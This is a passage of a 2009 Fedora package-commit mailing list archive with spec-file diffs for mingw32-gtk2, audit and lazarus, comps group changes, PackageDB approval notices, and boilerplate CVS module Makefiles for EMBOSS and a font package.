-%{_mingw32_libdir}/gtk-2.0/2.10.0/loaders/libpixbufloader-gif.a
 %{_mingw32_libdir}/gtk-2.0/2.10.0/loaders/libpixbufloader-icns.a
-%{_mingw32_libdir}/gtk-2.0/2.10.0/loaders/libpixbufloader-ico.a
 %{_mingw32_libdir}/gtk-2.0/2.10.0/loaders/libpixbufloader-jasper.a
-%{_mingw32_libdir}/gtk-2.0/2.10.0/loaders/libpixbufloader-jpeg.a
 %{_mingw32_libdir}/gtk-2.0/2.10.0/loaders/libpixbufloader-pcx.a
 %{_mingw32_libdir}/gtk-2.0/2.10.0/loaders/libpixbufloader-png.a
 %{_mingw32_libdir}/gtk-2.0/2.10.0/loaders/libpixbufloader-pnm.a
 %{_mingw32_libdir}/gtk-2.0/2.10.0/loaders/libpixbufloader-ras.a
 %{_mingw32_libdir}/gtk-2.0/2.10.0/loaders/libpixbufloader-tga.a
-%{_mingw32_libdir}/gtk-2.0/2.10.0/loaders/libpixbufloader-tiff.a
 %{_mingw32_libdir}/gtk-2.0/2.10.0/loaders/libpixbufloader-wbmp.a
 %{_mingw32_libdir}/gtk-2.0/2.10.0/loaders/libpixbufloader-xbm.a
 %{_mingw32_libdir}/gtk-2.0/2.10.0/loaders/libpixbufloader-xpm.a
+%if 1
+%{_mingw32_libdir}/gtk-2.0/2.10.0/loaders/libpixbufloader-gdip-bmp.a
+%{_mingw32_libdir}/gtk-2.0/2.10.0/loaders/libpixbufloader-gdip-emf.a
+%{_mingw32_libdir}/gtk-2.0/2.10.0/loaders/libpixbufloader-gdip-gif.a
+%{_mingw32_libdir}/gtk-2.0/2.10.0/loaders/libpixbufloader-gdip-ico.a
+%{_mingw32_libdir}/gtk-2.0/2.10.0/loaders/libpixbufloader-gdip-jpeg.a
+%{_mingw32_libdir}/gtk-2.0/2.10.0/loaders/libpixbufloader-gdip-tiff.a
+%{_mingw32_libdir}/gtk-2.0/2.10.0/loaders/libpixbufloader-gdip-wmf.a
+%else
+%{_mingw32_libdir}/gtk-2.0/2.10.0/loaders/libpixbufloader-bmp.a
+%{_mingw32_libdir}/gtk-2.0/2.10.0/loaders/libpixbufloader-gif.a
+%{_mingw32_libdir}/gtk-2.0/2.10.0/loaders/libpixbufloader-ico.a
+%{_mingw32_libdir}/gtk-2.0/2.10.0/loaders/libpixbufloader-jpeg.a
+%{_mingw32_libdir}/gtk-2.0/2.10.0/loaders/libpixbufloader-tiff.a
+%endif
 %{_mingw32_libdir}/gtk-2.0/modules/libgail.a
 
 
 %changelog
+* Sat Oct 17 2009 Erik van Pienbroek <epienbro at fedoraproject.org> - 2.18.3-1
+- Update to 2.18.3
+- Drop upstreamed patch (GNOME BZ #597535)
+- Re-enable GDI+ support as it's fixed upstream (GNOME BZ #552678)
+- This release contains a workaround for a rendering bug which got
+  introduced during the CSW merge (GNOME BZ #598299)
+
 * Tue Oct  6 2009 Erik van Pienbroek <epienbro at fedoraproject.org> - 2.18.2-1
 - Update to 2.18.2
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/mingw32-gtk2/F-12/sources,v
retrieving revision 1.13
retrieving revision 1.14
diff -u -p -r1.13 -r1.14
--- sources	6 Oct 2009 09:06:49 -0000	1.13
+++ sources	17 Oct 2009 19:15:07 -0000	1.14
@@ -1 +1 @@
-9477986b58d7ee5e559b96e7a124bead  gtk+-2.18.2.tar.bz2
+369e173600efc272131b53b1902679e8  gtk+-2.18.3.tar.bz2


--- mingw32-gtk2-2.18.2-dont-use-SIGPIPE.patch DELETED ---



From sgrubb at fedoraproject.org  Sat Oct 17 19:29:29 2009
From: sgrubb at fedoraproject.org (Steve Grubb)
Date: Sat, 17 Oct 2009 19:29:29 +0000 (UTC)
Subject: rpms/audit/devel .cvsignore, 1.105, 1.106 audit.spec, 1.222,
	1.223 sources, 1.131, 1.132
Message-ID: <20091017192929.2DAD511C00EC@cvs1.fedora.phx.redhat.com>

Author: sgrubb

Update of /cvs/pkgs/rpms/audit/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv11488

Modified Files:
	.cvsignore audit.spec sources 
Log Message:
* Sat Oct 17 2009 Steve Grubb <sgrubb at redhat.com> 2.0.3-1
- New upstream release



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/audit/devel/.cvsignore,v
retrieving revision 1.105
retrieving revision 1.106
diff -u -p -r1.105 -r1.106
--- .cvsignore	28 Sep 2009 19:55:04 -0000	1.105
+++ .cvsignore	17 Oct 2009 19:29:28 -0000	1.106
@@ -102,3 +102,4 @@ audit-1.7.13.tar.gz
 audit-2.0.tar.gz
 audit-1.8.tar.gz
 audit-2.0.1.tar.gz
+audit-2.0.3.tar.gz


Index: audit.spec
===================================================================
RCS file: /cvs/pkgs/rpms/audit/devel/audit.spec,v
retrieving revision 1.222
retrieving revision 1.223
diff -u -p -r1.222 -r1.223
--- audit.spec	16 Oct 2009 17:14:38 -0000	1.222
+++ audit.spec	17 Oct 2009 19:29:28 -0000	1.223
@@ -2,7 +2,7 @@
 
 Summary: User space tools for 2.6 kernel auditing
 Name: audit
-Version: 2.0.2
+Version: 2.0.3
 Release: 1%{?dist}
 License: GPLv2+
 Group: System Environment/Daemons
@@ -219,6 +219,9 @@ fi
 %attr(644,root,root) %{_mandir}/man8/audisp-remote.8.gz
 
 %changelog
+* Sat Oct 17 2009 Steve Grubb <sgrubb at redhat.com> 2.0.3-1
+- New upstream release
+
 * Fri Oct 16 2009 Steve Grubb <sgrubb at redhat.com> 2.0.2-1
 - New upstream release
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/audit/devel/sources,v
retrieving revision 1.131
retrieving revision 1.132
diff -u -p -r1.131 -r1.132
--- sources	16 Oct 2009 17:09:20 -0000	1.131
+++ sources	17 Oct 2009 19:29:28 -0000	1.132
@@ -1 +1 @@
-e4b930141ec6cc267f0911b3c82ea987  audit-2.0.2.tar.gz
+35fb55c5a299acfc3e2ab84d5a31ea5c  audit-2.0.3.tar.gz



From chitlesh at fedoraproject.org  Sat Oct 17 20:18:36 2009
From: chitlesh at fedoraproject.org (Chitlesh GOORAH)
Date: Sat, 17 Oct 2009 20:18:36 +0000 (UTC)
Subject: comps comps-f12.xml.in,1.156,1.157 comps-f13.xml.in,1.43,1.44
Message-ID: <20091017201836.B818411C00EC@cvs1.fedora.phx.redhat.com>

Author: chitlesh

Update of /cvs/pkgs/comps
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv30232

Modified Files:
	comps-f12.xml.in comps-f13.xml.in 
Log Message:
added achimedes to electronic-lab group install


Index: comps-f12.xml.in
===================================================================
RCS file: /cvs/pkgs/comps/comps-f12.xml.in,v
retrieving revision 1.156
retrieving revision 1.157
diff -u -p -r1.156 -r1.157
--- comps-f12.xml.in	17 Oct 2009 18:30:51 -0000	1.156
+++ comps-f12.xml.in	17 Oct 2009 20:18:36 -0000	1.157
@@ -1378,6 +1378,7 @@
     <uservisible>true</uservisible>
     <packagelist>
       <packagereq type="default">alliance</packagereq>
+      <packagereq type="default">archimedes</packagereq>
       <packagereq type="default">arm-gp2x-linux-binutils</packagereq>
       <packagereq type="default">arm-gp2x-linux-gcc</packagereq>
       <packagereq type="default">arm-gp2x-linux-gcc-c++</packagereq>


Index: comps-f13.xml.in
===================================================================
RCS file: /cvs/pkgs/comps/comps-f13.xml.in,v
retrieving revision 1.43
retrieving revision 1.44
diff -u -p -r1.43 -r1.44
--- comps-f13.xml.in	17 Oct 2009 18:30:51 -0000	1.43
+++ comps-f13.xml.in	17 Oct 2009 20:18:36 -0000	1.44
@@ -1371,6 +1371,7 @@
     <uservisible>true</uservisible>
     <packagelist>
       <packagereq type="default">alliance</packagereq>
+      <packagereq type="default">archimedes</packagereq>
       <packagereq type="default">arm-gp2x-linux-binutils</packagereq>
       <packagereq type="default">arm-gp2x-linux-gcc</packagereq>
       <packagereq type="default">arm-gp2x-linux-gcc-c++</packagereq>



From joost at fedoraproject.org  Sat Oct 17 20:25:01 2009
From: joost at fedoraproject.org (Joost van der Sluis)
Date: Sat, 17 Oct 2009 20:25:01 +0000 (UTC)
Subject: rpms/lazarus/devel gzip_manpages_patch.diff, NONE, 1.1 .cvsignore,
	1.4, 1.5 lazarus.spec, 1.9, 1.10 sources, 1.4, 1.5
Message-ID: <20091017202501.301A911C00EC@cvs1.fedora.phx.redhat.com>

Author: joost

Update of /cvs/pkgs/rpms/lazarus/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv31742

Modified Files:
	.cvsignore lazarus.spec sources 
Added Files:
	gzip_manpages_patch.diff 
Log Message:
* Fri Oct 16 2009 Joost van der Sluis <rel-eng at lists.fedoraproject.org> - 0.9.28-1
- Updated to version 0.9.28


gzip_manpages_patch.diff:
 Makefile |    1 +
 1 file changed, 1 insertion(+)

--- NEW FILE gzip_manpages_patch.diff ---
Index: lazarus/install/man/Makefile
===================================================================
--- lazarus/install/man/Makefile	(revision 22196)
+++ lazarus/install/man/Makefile	(working copy)
@@ -31,3 +31,4 @@
 #	$(GINSTALL) -d -m 755 $(INSTALL_MANDIR)/man5
 	$(GINSTALL) -c -m 644 man1/*.1 $(INSTALL_MANDIR)/man1
 #	$(GINSTALL) -c -m 644 man5/*.5 $(INSTALL_MANDIR)/man5
+	find man1/*.1 -exec gzip -9f $(INSTALL_MANDIR)/'{}' \;


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/lazarus/devel/.cvsignore,v
retrieving revision 1.4
retrieving revision 1.5
diff -u -p -r1.4 -r1.5
--- .cvsignore	2 Apr 2009 16:23:44 -0000	1.4
+++ .cvsignore	17 Oct 2009 20:24:58 -0000	1.5
@@ -1 +1 @@
-lazarus-0.9.26.2-0.tgz
+lazarus-0.9.28-src.tar.bz2


Index: lazarus.spec
===================================================================
RCS file: /cvs/pkgs/rpms/lazarus/devel/lazarus.spec,v
retrieving revision 1.9
retrieving revision 1.10
diff -u -p -r1.9 -r1.10
--- lazarus.spec	25 Jul 2009 05:00:01 -0000	1.9
+++ lazarus.spec	17 Oct 2009 20:24:59 -0000	1.10
@@ -1,61 +1,61 @@
 Name:           lazarus
-Version:        0.9.26.2
-Release:        4%{?dist}
+Version:        0.9.28
+Release:        1%{?dist}
 Summary:        Lazarus Component Library and IDE for Freepascal
 
 Group:          Development/Languages
 # GNU Classpath style exception, see COPYING.modifiedLGPL
 License:        GPLv2+ and MPLv1.1 and LGPLv2+ with exceptions
 URL:            http://www.lazarus.freepascal.org/
-Source0:        http://download.sourceforge.net/%{name}/%{name}-%{version}-0.tgz
+Source0:        http://download.sourceforge.net/%{name}/%{name}-%{version}-src.tar.bz2
 patch0:         Makefile_patch.diff
 patch1:         Desktop_patch.diff
+patch2: 	gzip_manpages_patch.diff
 BuildRoot:      %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 
-BuildRequires:  fpc >= 2.2.2, binutils, gdk-pixbuf-devel, gtk+-devel, glibc-devel, desktop-file-utils, gtk2-devel, fpc-src >= 2.2.2
-Requires:       fpc-src >= 2.2.2, fpc >= 2.2.2, binutils, gdk-pixbuf-devel, gtk+-devel, glibc-devel, gdb 
+BuildRequires:  fpc, binutils, glibc-devel, desktop-file-utils, fpc-src, gtk2-devel 
+Requires:       fpc-src, fpc, binutils, glibc-devel, gdb, gtk2-devel 
 
 ExcludeArch:    s390 s390x
 
 %description
-Lazarus is a free and opensource RAD tool for freepascal using the lazarus
+A free and opensource RAD tool for freepascal using the lazarus
 component library - LCL, which is also included in this package.
 
 %prep
 %setup -c -q
 %patch0 -p0
 %patch1 -p0
+%patch2 -p0
 
 %build
 cd lazarus
-# Remove the files for building debian-repositories
+# Remove the files for building other packages
 rm -rf debian
-rm -rf tools/install/cross_unix/debian_crosswin32
-rm tools/install/cross_unix/create_linux_cross_win32_deb.sh
-rm tools/install/cross_unix/HowToCreate_fpc_crosswin32_deb.txt
+cd tools
+find install -depth -type d ! \( -path "install/linux/*" -o -path "install/linux" -o -path "install" \) -exec rm -rf '{}' \;
+cd ..
+
 # Remove scripts vulnerable to symlink-attacks (bug 460642)
 rm tools/convert_po_file_to_utf-8.sh
-rm tools/install/build_fpc_snaphot_rpm.sh
-rm tools/install/check_fpc_dependencies.sh
-rm tools/install/create_fpc_deb.sh
-rm tools/install/create_fpc_export_tgz.sh
-rm tools/install/create_fpc_rpm.sh
-rm tools/install/create_fpc-src_rpm.sh
-rm tools/install/create_fpc_tgz_from_local_dir.sh
-rm tools/install/create_lazarus_export_tgz.sh 
 
 export FPCDIR=%{_datadir}/fpcsrc/
 fpcmake -Tall
 make tools OPT='-gl'
 make bigide OPT='-gl'
 make lazbuilder OPT='-gl'
-# Add the ability to create gtk2-applications
-export LCL_PLATFORM=gtk2
-make lcl ideintf packager/registration bigidecomponents OPT='-gl'
-export LCL_PLATFORM=
 
 %install
 rm -rf %{buildroot}
+
+# These files have the wrong executable-bit set in version 0.9.28:
+chmod -x lazarus/tools/chmmaker/chmwriter.lpi
+chmod -x lazarus/tools/chmmaker/unit1.pas
+chmod -x lazarus/tools/chmmaker/unit1.lfm
+chmod -x lazarus/tools/chmmaker/unit1.lrs
+chmod +x lazarus/components/lazsvnpkg/lazsvnpkg_images.sh
+chmod +x lazarus/examples/trayicon/createbundle.sh
+
 make -C lazarus install INSTALL_PREFIX=%{buildroot}%{_prefix} _LIB=%{_lib}
 make -C lazarus/install/man INSTALL_MANDIR=%{buildroot}%{_mandir}
 
@@ -101,6 +101,9 @@ update-mime-database %{_datadir}/mime &>
 %{_mandir}/*/*
 
 %changelog
+* Fri Oct 16 2009 Joost van der Sluis <rel-eng at lists.fedoraproject.org> - 0.9.28-1
+- Updated to version 0.9.28
+
 * Fri Jul 24 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 0.9.26.2-4
 - Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/lazarus/devel/sources,v
retrieving revision 1.4
retrieving revision 1.5
diff -u -p -r1.4 -r1.5
--- sources	2 Apr 2009 16:23:44 -0000	1.4
+++ sources	17 Oct 2009 20:24:59 -0000	1.5
@@ -1 +1 @@
-357fd9f6e9d410f3c74ff493fce7f75a  lazarus-0.9.26.2-0.tgz
+01cebc06ab66c6e34f55b860d00de8bb  lazarus-0.9.28-src.tar.bz2



From pkgdb at fedoraproject.org  Sat Oct 17 20:38:48 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 17 Oct 2009 20:38:48 +0000
Subject: [pkgdb] EMBOSS was added for belegdol
Message-ID: <20091017203848.44DDA10F87F@bastion2.fedora.phx.redhat.com>

kevin has added Package EMBOSS with summary The European Molecular Biology Open Software Suite
kevin has approved Package EMBOSS
kevin has added a Fedora devel branch for EMBOSS with an owner of belegdol
kevin has approved EMBOSS in Fedora devel
kevin has approved Package EMBOSS
kevin has set commit to Approved for 107427 on EMBOSS (Fedora devel)
kevin has set checkout to Approved for 107427 on EMBOSS (Fedora devel)
kevin has set build to Approved for 107427 on EMBOSS (Fedora devel)

To make changes to this package see:
  /pkgdb/packages/name/EMBOSS



From pkgdb at fedoraproject.org  Sat Oct 17 20:38:49 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 17 Oct 2009 20:38:49 +0000
Subject: [pkgdb] EMBOSS summary updated by kevin
Message-ID: <20091017203849.C379110F88B@bastion2.fedora.phx.redhat.com>

kevin set package EMBOSS summary to The European Molecular Biology Open Software Suite

To make changes to this package see:
  /pkgdb/packages/name/EMBOSS



From pkgdb at fedoraproject.org  Sat Oct 17 20:38:49 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 17 Oct 2009 20:38:49 +0000
Subject: [pkgdb] EMBOSS (Fedora, 10) updated by kevin
Message-ID: <20091017203849.D2F3210F8A4@bastion2.fedora.phx.redhat.com>

kevin added a Fedora 10 branch for EMBOSS
kevin has set commit to Approved for 107427 on EMBOSS (Fedora 10)
kevin has set checkout to Approved for 107427 on EMBOSS (Fedora 10)
kevin has set build to Approved for 107427 on EMBOSS (Fedora 10)

To make changes to this package see:
  /pkgdb/packages/name/EMBOSS



From pkgdb at fedoraproject.org  Sat Oct 17 20:38:49 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 17 Oct 2009 20:38:49 +0000
Subject: [pkgdb] EMBOSS (Fedora, 10) updated by kevin
Message-ID: <20091017203849.DC6DA10F8AC@bastion2.fedora.phx.redhat.com>

kevin added a Fedora 11 branch for EMBOSS
kevin has set commit to Approved for 107427 on EMBOSS (Fedora 11)
kevin has set checkout to Approved for 107427 on EMBOSS (Fedora 11)
kevin has set build to Approved for 107427 on EMBOSS (Fedora 11)

To make changes to this package see:
  /pkgdb/packages/name/EMBOSS



From pkgdb at fedoraproject.org  Sat Oct 17 20:38:49 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 17 Oct 2009 20:38:49 +0000
Subject: [pkgdb] EMBOSS (Fedora, 10) updated by kevin
Message-ID: <20091017203849.E3EBF10F8B1@bastion2.fedora.phx.redhat.com>

kevin added a Fedora 12 branch for EMBOSS
kevin has set commit to Approved for 107427 on EMBOSS (Fedora 12)
kevin has set checkout to Approved for 107427 on EMBOSS (Fedora 12)
kevin has set build to Approved for 107427 on EMBOSS (Fedora 12)

To make changes to this package see:
  /pkgdb/packages/name/EMBOSS



From kevin at fedoraproject.org  Sat Oct 17 20:38:58 2009
From: kevin at fedoraproject.org (Kevin Fenzi)
Date: Sat, 17 Oct 2009 20:38:58 +0000 (UTC)
Subject: rpms/EMBOSS - New directory
Message-ID: <20091017203858.31DA611C00EC@cvs1.fedora.phx.redhat.com>

Author: kevin

Update of /cvs/pkgs/rpms/EMBOSS
In directory cvs1.fedora.phx.redhat.com:/home/fedora/kevin/CVSROOT/admin/tmpcvsGi4596/rpms/EMBOSS

Log Message:
Directory /cvs/pkgs/rpms/EMBOSS added to the repository




From kevin at fedoraproject.org  Sat Oct 17 20:38:58 2009
From: kevin at fedoraproject.org (Kevin Fenzi)
Date: Sat, 17 Oct 2009 20:38:58 +0000 (UTC)
Subject: rpms/EMBOSS/devel - New directory
Message-ID: <20091017203858.55CA611C0260@cvs1.fedora.phx.redhat.com>

Author: kevin

Update of /cvs/pkgs/rpms/EMBOSS/devel
In directory cvs1.fedora.phx.redhat.com:/home/fedora/kevin/CVSROOT/admin/tmpcvsGi4596/rpms/EMBOSS/devel

Log Message:
Directory /cvs/pkgs/rpms/EMBOSS/devel added to the repository




From kevin at fedoraproject.org  Sat Oct 17 20:39:05 2009
From: kevin at fedoraproject.org (Kevin Fenzi)
Date: Sat, 17 Oct 2009 20:39:05 +0000 (UTC)
Subject: rpms/EMBOSS Makefile,NONE,1.1
Message-ID: <20091017203905.67F7F11C00EC@cvs1.fedora.phx.redhat.com>

Author: kevin

Update of /cvs/pkgs/rpms/EMBOSS
In directory cvs1.fedora.phx.redhat.com:/home/fedora/kevin/CVSROOT/admin/tmpcvsGi4596/rpms/EMBOSS

Added Files:
	Makefile 
Log Message:
Setup of module EMBOSS


--- NEW FILE Makefile ---
# Top level Makefile for module EMBOSS
all : CVS/Root common-update
	@cvs update

common-update : common
	@cd common && cvs update

common : CVS/Root
	@cvs checkout common

CVS/Root :
	@echo "ERROR: This does not look like a CVS checkout" && exit 1

clean :
	@find . -type f -name *~ -exec rm -fv {} \;



From kevin at fedoraproject.org  Sat Oct 17 20:39:05 2009
From: kevin at fedoraproject.org (Kevin Fenzi)
Date: Sat, 17 Oct 2009 20:39:05 +0000 (UTC)
Subject: rpms/EMBOSS/devel .cvsignore, NONE, 1.1 Makefile, NONE, 1.1 sources,
	NONE, 1.1
Message-ID: <20091017203905.C05A211C00EC@cvs1.fedora.phx.redhat.com>

Author: kevin

Update of /cvs/pkgs/rpms/EMBOSS/devel
In directory cvs1.fedora.phx.redhat.com:/home/fedora/kevin/CVSROOT/admin/tmpcvsGi4596/rpms/EMBOSS/devel

Added Files:
	.cvsignore Makefile sources 
Log Message:
Setup of module EMBOSS


--- NEW FILE .cvsignore ---


--- NEW FILE Makefile ---
# Makefile for source rpm: EMBOSS
# $Id: Makefile,v 1.1 2009/10/17 20:39:05 kevin Exp $
NAME := EMBOSS
SPECFILE = $(firstword $(wildcard *.spec))

define find-makefile-common
for d in common ../common ../../common ; do if [ -f $$d/Makefile.common ] ; then if [ -f $$d/CVS/Root -a -w $$/Makefile.common ] ; then cd $$d ; cvs -Q update ; fi ; echo "$$d/Makefile.common" ; break ; fi ; done
endef

MAKEFILE_COMMON := $(shell $(find-makefile-common))

ifeq ($(MAKEFILE_COMMON),)
# attept a checkout
define checkout-makefile-common
test -f CVS/Root && { cvs -Q -d $$(cat CVS/Root) checkout common && echo "common/Makefile.common" ; } || { echo "ERROR: I can't figure out how to checkout the 'common' module." ; exit -1 ; } >&2
endef

MAKEFILE_COMMON := $(shell $(checkout-makefile-common))
endif

include $(MAKEFILE_COMMON)


--- NEW FILE sources ---



From pkgdb at fedoraproject.org  Sat Oct 17 20:39:52 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 17 Oct 2009 20:39:52 +0000
Subject: [pkgdb] drehatlas-widelands-fonts summary updated by kevin
Message-ID: <20091017203952.5F9AC10F889@bastion2.fedora.phx.redhat.com>

kevin set package drehatlas-widelands-fonts summary to A Latin typeface inspired by feudal calligraphy

To make changes to this package see:
  /pkgdb/packages/name/drehatlas-widelands-fonts



From pkgdb at fedoraproject.org  Sat Oct 17 20:39:49 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 17 Oct 2009 20:39:49 +0000
Subject: [pkgdb] drehatlas-widelands-fonts was added for adsllc
Message-ID: <20091017203949.B7CE710F85F@bastion2.fedora.phx.redhat.com>

kevin has added Package drehatlas-widelands-fonts with summary A Latin typeface inspired by feudal calligraphy
kevin has approved Package drehatlas-widelands-fonts
kevin has added a Fedora devel branch for drehatlas-widelands-fonts with an owner of adsllc
kevin has approved drehatlas-widelands-fonts in Fedora devel
kevin has approved Package drehatlas-widelands-fonts
kevin has set commit to Approved for 107427 on drehatlas-widelands-fonts (Fedora devel)
kevin has set checkout to Approved for 107427 on drehatlas-widelands-fonts (Fedora devel)
kevin has set build to Approved for 107427 on drehatlas-widelands-fonts (Fedora devel)

To make changes to this package see:
  /pkgdb/packages/name/drehatlas-widelands-fonts



From pkgdb at fedoraproject.org  Sat Oct 17 20:39:52 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 17 Oct 2009 20:39:52 +0000
Subject: [pkgdb] drehatlas-widelands-fonts (Fedora, 10) updated by kevin
Message-ID: <20091017203952.6F3A210F8A4@bastion2.fedora.phx.redhat.com>

kevin added a Fedora 11 branch for drehatlas-widelands-fonts
kevin has set commit to Approved for 107427 on drehatlas-widelands-fonts (Fedora 11)
kevin has set checkout to Approved for 107427 on drehatlas-widelands-fonts (Fedora 11)
kevin has set build to Approved for 107427 on drehatlas-widelands-fonts (Fedora 11)
kevin approved watchbugzilla on drehatlas-widelands-fonts (Fedora 11) for fonts-sig
kevin approved watchcommits on drehatlas-widelands-fonts (Fedora 11) for fonts-sig

To make changes to this package see:
  /pkgdb/packages/name/drehatlas-widelands-fonts



From pkgdb at fedoraproject.org  Sat Oct 17 20:39:52 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 17 Oct 2009 20:39:52 +0000
Subject: [pkgdb] drehatlas-widelands-fonts (Fedora, 10) updated by kevin
Message-ID: <20091017203952.9023910F8AF@bastion2.fedora.phx.redhat.com>

kevin added a Fedora 10 branch for drehatlas-widelands-fonts
kevin has set commit to Approved for 107427 on drehatlas-widelands-fonts (Fedora 10)
kevin has set checkout to Approved for 107427 on drehatlas-widelands-fonts (Fedora 10)
kevin has set build to Approved for 107427 on drehatlas-widelands-fonts (Fedora 10)
kevin approved watchbugzilla on drehatlas-widelands-fonts (Fedora 10) for fonts-sig
kevin approved watchcommits on drehatlas-widelands-fonts (Fedora 10) for fonts-sig

To make changes to this package see:
  /pkgdb/packages/name/drehatlas-widelands-fonts



From pkgdb at fedoraproject.org  Sat Oct 17 20:39:52 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 17 Oct 2009 20:39:52 +0000
Subject: [pkgdb] drehatlas-widelands-fonts (Fedora, 10) updated by kevin
Message-ID: <20091017203952.8072C10F8AC@bastion2.fedora.phx.redhat.com>

kevin approved watchbugzilla on drehatlas-widelands-fonts (Fedora devel) for fonts-sig
kevin approved watchcommits on drehatlas-widelands-fonts (Fedora devel) for fonts-sig

To make changes to this package see:
  /pkgdb/packages/name/drehatlas-widelands-fonts



From pkgdb at fedoraproject.org  Sat Oct 17 20:39:52 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 17 Oct 2009 20:39:52 +0000
Subject: [pkgdb] drehatlas-widelands-fonts (Fedora, 10) updated by kevin
Message-ID: <20091017203952.AA42610F8B4@bastion2.fedora.phx.redhat.com>

kevin added a Fedora 12 branch for drehatlas-widelands-fonts
kevin has set commit to Approved for 107427 on drehatlas-widelands-fonts (Fedora 12)
kevin has set checkout to Approved for 107427 on drehatlas-widelands-fonts (Fedora 12)
kevin has set build to Approved for 107427 on drehatlas-widelands-fonts (Fedora 12)
kevin approved watchbugzilla on drehatlas-widelands-fonts (Fedora 12) for fonts-sig
kevin approved watchcommits on drehatlas-widelands-fonts (Fedora 12) for fonts-sig

To make changes to this package see:
  /pkgdb/packages/name/drehatlas-widelands-fonts



From kevin at fedoraproject.org  Sat Oct 17 20:40:00 2009
From: kevin at fedoraproject.org (Kevin Fenzi)
Date: Sat, 17 Oct 2009 20:40:00 +0000 (UTC)
Subject: rpms/drehatlas-widelands-fonts - New directory
Message-ID: <20091017204000.1A71E11C00EC@cvs1.fedora.phx.redhat.com>

Author: kevin

Update of /cvs/pkgs/rpms/drehatlas-widelands-fonts
In directory cvs1.fedora.phx.redhat.com:/home/fedora/kevin/CVSROOT/admin/tmpcvsOm5177/rpms/drehatlas-widelands-fonts

Log Message:
Directory /cvs/pkgs/rpms/drehatlas-widelands-fonts added to the repository




From kevin at fedoraproject.org  Sat Oct 17 20:40:00 2009
From: kevin at fedoraproject.org (Kevin Fenzi)
Date: Sat, 17 Oct 2009 20:40:00 +0000 (UTC)
Subject: rpms/drehatlas-widelands-fonts/devel - New directory
Message-ID: <20091017204000.3D64511C0298@cvs1.fedora.phx.redhat.com>

Author: kevin

Update of /cvs/pkgs/rpms/drehatlas-widelands-fonts/devel
In directory cvs1.fedora.phx.redhat.com:/home/fedora/kevin/CVSROOT/admin/tmpcvsOm5177/rpms/drehatlas-widelands-fonts/devel

Log Message:
Directory /cvs/pkgs/rpms/drehatlas-widelands-fonts/devel added to the repository




From kevin at fedoraproject.org  Sat Oct 17 20:40:07 2009
From: kevin at fedoraproject.org (Kevin Fenzi)
Date: Sat, 17 Oct 2009 20:40:07 +0000 (UTC)
Subject: rpms/drehatlas-widelands-fonts Makefile,NONE,1.1
Message-ID: <20091017204007.3069C11C02A2@cvs1.fedora.phx.redhat.com>

Author: kevin

Update of /cvs/pkgs/rpms/drehatlas-widelands-fonts
In directory cvs1.fedora.phx.redhat.com:/home/fedora/kevin/CVSROOT/admin/tmpcvsOm5177/rpms/drehatlas-widelands-fonts

Added Files:
	Makefile 
Log Message:
Setup of module drehatlas-widelands-fonts


--- NEW FILE Makefile ---
# Top level Makefile for module drehatlas-widelands-fonts
all : CVS/Root common-update
	@cvs update

common-update : common
	@cd common && cvs update

common : CVS/Root
	@cvs checkout common

CVS/Root :
	@echo "ERROR: This does not look like a CVS checkout" && exit 1

clean :
	@find . -type f -name *~ -exec rm -fv {} \;



From kevin at fedoraproject.org  Sat Oct 17 20:40:07 2009
From: kevin at fedoraproject.org (Kevin Fenzi)
Date: Sat, 17 Oct 2009 20:40:07 +0000 (UTC)
Subject: rpms/drehatlas-widelands-fonts/devel .cvsignore, NONE, 1.1 Makefile,
	NONE, 1.1 sources, NONE, 1.1
Message-ID: <20091017204007.8785511C02A2@cvs1.fedora.phx.redhat.com>

Author: kevin

Update of /cvs/pkgs/rpms/drehatlas-widelands-fonts/devel
In directory cvs1.fedora.phx.redhat.com:/home/fedora/kevin/CVSROOT/admin/tmpcvsOm5177/rpms/drehatlas-widelands-fonts/devel

Added Files:
	.cvsignore Makefile sources 
Log Message:
Setup of module drehatlas-widelands-fonts


--- NEW FILE .cvsignore ---


--- NEW FILE Makefile ---
# Makefile for source rpm: drehatlas-widelands-fonts
# $Id: Makefile,v 1.1 2009/10/17 20:40:07 kevin Exp $
NAME := drehatlas-widelands-fonts
SPECFILE = $(firstword $(wildcard *.spec))

define find-makefile-common
for d in common ../common ../../common ; do if [ -f $$d/Makefile.common ] ; then if [ -f $$d/CVS/Root -a -w $$/Makefile.common ] ; then cd $$d ; cvs -Q update ; fi ; echo "$$d/Makefile.common" ; break ; fi ; done
endef

MAKEFILE_COMMON := $(shell $(find-makefile-common))

ifeq ($(MAKEFILE_COMMON),)
# attept a checkout
define checkout-makefile-common
test -f CVS/Root && { cvs -Q -d $$(cat CVS/Root) checkout common && echo "common/Makefile.common" ; } || { echo "ERROR: I can't figure out how to checkout the 'common' module." ; exit -1 ; } >&2
endef

MAKEFILE_COMMON := $(shell $(checkout-makefile-common))
endif

include $(MAKEFILE_COMMON)


--- NEW FILE sources ---



From pkgdb at fedoraproject.org  Sat Oct 17 20:40:33 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 17 Oct 2009 20:40:33 +0000
Subject: [pkgdb] gtrayicon was added for cwickert
